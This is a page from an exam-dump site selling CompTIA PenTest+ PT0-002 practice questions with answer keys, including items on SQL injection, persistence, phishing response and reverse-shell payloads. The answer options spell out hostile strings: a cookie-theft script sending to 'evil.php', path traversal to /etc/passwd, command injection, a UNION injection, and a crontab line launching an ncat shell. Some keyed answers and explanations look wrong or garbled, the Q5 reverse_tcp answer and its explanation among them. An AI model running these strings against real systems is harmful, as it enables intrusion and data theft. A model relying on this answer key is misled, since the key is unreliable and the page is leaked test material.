
https://www.pass4itsure.com/pt0-002.html
2023 Latest pass4itsure PT0-002 PDF and VCE dumps Download

 

 

 

PT0-002Q&As

CompTIA PenTest+ Certification Exam

Pass CompTIA PT0-002 Exam with 100% Guarantee

Free Download Real Questions & Answers PDF and VCE file from:

https://www.pass4itsure.com/pt0-002.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA
Official Exam Center

 

 

Latest PT0-002 Dumps | PT0-002 VCE Dumps | PT0-002 Practice Test                                1 / 4

https://www.pass4itsure.com/pt0-002.html
https://www.pass4itsure.com/pt0-002.html
https://www.pass4itsure.com/pt0-002.html


https://www.pass4itsure.com/pt0-002.html
2023 Latest pass4itsure PT0-002 PDF and VCE dumps Download

QUESTION 1

During an internal penetration test against a company, a penetration tester was able to navigate to another part of the
network and locate a folder containing customer information such as addresses, phone numbers, and credit card
numbers. To be PCI compliant, which of the following should the company have implemented to BEST protect this
data? 

A. Vulnerability scanning 

B. Network segmentation 

C. System hardening 

D. Intrusion detection 

Correct Answer: B 

 

QUESTION 2

A tester who is performing a penetration test on a website receives the following output: 

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62 

Which of the following commands can be used to further attack the website? 

A. var adr= `../evil.php?test=\\' + escape(document.cookie); 

B. ../../../../../../../../../../etc/passwd 

C. /var/www/html/index.php;whoami 

D. 1 UNION SELECT 1, DATABASE(),3-

Correct Answer: D 

 

QUESTION 3

A penetration tester was able to gain access successfully to a Windows workstation on a mobile client\\'s laptop. Which
of the following can be used to ensure the tester is able to maintain access to the system? 

A. schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe 

B. wmic startup get caption,command 

C. crontab -l; echo "@reboot sleep 200 andand ncat -lvp 4242-e /bin/bash") | crontab 2>/dev/null 

D. sudo useradd-ou 0 -g 0 user 

Correct Answer: A 

 

Latest PT0-002 Dumps | PT0-002 VCE Dumps | PT0-002 Practice Test                                2 / 4

https://www.pass4itsure.com/pt0-002.html
https://www.pass4itsure.com/pt0-002.html
https://www.pass4itsure.com/pt0-002.html


https://www.pass4itsure.com/pt0-002.html
2023 Latest pass4itsure PT0-002 PDF and VCE dumps Download

QUESTION 4

A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that
mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and
provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this
situation? 

A. Implement a recurring cybersecurity awareness education program for all users. 

B. Implement multifactor authentication on all corporate applications. 

C. Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy. 

D. Implement an email security gateway to block spam and malware from email communications. 

Correct Answer: A 

Reference: https://resources.infosecinstitute.com/topic/top-9-free-phishing-simulators/ 

 

QUESTION 5

A penetration tester exploited a vulnerability on a server and remotely ran a payload to gain a shell. However, a
connection was not established, and no errors were shown on the payload execution. The penetration tester suspected
that a network device, like an IPS or next-generation firewall, was dropping the connection. Which of the following
payloads are MOST likely to establish a shell successfully? 

A. windows/x64/meterpreter/reverse_tcp 

B. windows/x64/meterpreter/reverse_http 

C. windows/x64/shell_reverse_tcp 

D. windows/x64/powershell_reverse_tcp 

E. windows/x64/meterpreter/reverse_https 

Correct Answer: A 

A reverse tcp connection is usually used to bypass firewall restrictions on open ports. A firewall usually blocks incoming
connections on open ports, but does not block outgoing traffic. windows/meterpreter/reverse_tcp allows you to remotely
control the file system, sniff, keylog, hashdump, perform network pivoting, control the webcam and microphone, etc. 
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